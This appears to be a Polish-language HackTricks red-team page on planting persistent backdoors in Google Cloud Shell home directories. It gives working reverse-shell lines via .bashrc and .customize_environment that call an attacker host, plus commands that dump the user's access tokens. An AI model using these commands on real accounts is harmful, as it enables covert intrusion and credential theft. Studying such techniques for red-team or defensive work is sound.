GCP - Cloud Shell Persistence

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Cloud Shell

Więcej informacji:

GCP - Cloud Shell Enum

Persistent Backdoor

Google Cloud Shell zapewnia dostęp do wiersza poleceń do zasobów w chmurze bezpośrednio z przeglądarki, bez dodatkowych kosztów.

Dostęp do Google Cloud Shell można uzyskać z poziomu konsoli webowej lub uruchamiając gcloud cloud-shell ssh.

Ta konsola daje atakującym kilka ciekawych możliwości:

  1. Każdy użytkownik Google z dostępem do Google Cloud ma dostęp do w pełni uwierzytelnionej instancji Cloud Shell (Service Accounts również mogą — nawet będąc Owners of the org).
  2. Taka instancja będzie przechowywać swój katalog domowy przez co najmniej 120 dni, jeśli nie będzie żadnej aktywności.
  3. Nie ma możliwości dla organizacji, aby monitorować aktywność tej instancji.

Oznacza to w praktyce, że atakujący może umieścić backdoor w katalogu domowym użytkownika i dopóki użytkownik łączy się z GC Shell przynajmniej co 120 dni, backdoor przetrwa, a atakujący uzyska shell za każdym razem, gdy zostanie uruchomiony, po prostu wykonując:

Add reverse shell to .bashrc ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```

W katalogu domowym znajduje się jeszcze jeden plik o nazwie .customize_environment, który, jeśli istnieje, będzie wykonywany za każdym razem, gdy użytkownik uzyska dostęp do cloud shell (tak jak w poprzedniej technice). Wystarczy wstawić poprzedni backdoor lub taki jak poniżej, aby utrzymać persistence tak długo, jak użytkownik będzie “często” korzystał z cloud shell:

Utwórz .customize_environment backdoor ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ```

Warning

Należy pamiętać, że przy pierwszym wykonaniu akcji wymagającej uwierzytelnienia, w przeglądarce użytkownika pojawi się okienko autoryzacji. To okienko musi zostać zaakceptowane, zanim polecenie będzie mogło zostać wykonane. Jeśli pojawi się nieoczekiwane okienko, może to wzbudzić podejrzenia i potencjalnie narazić stosowaną metodę persistence.

To jest okienko, które pojawia się po uruchomieniu gcloud projects list z Cloud Shell (jako atakujący), widziane w sesji przeglądarki użytkownika:

Jednak jeśli użytkownik aktywnie korzystał z cloudshell, okienko nie pojawi się i możesz pozyskać tokeny użytkownika za pomocą:

Pobierz tokeny dostępu z Cloud Shell ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```

Jak nawiązywane jest połączenie SSH

Zasadniczo używane są trzy wywołania API:

Więcej informacji znajdziesz w https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Źródła

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks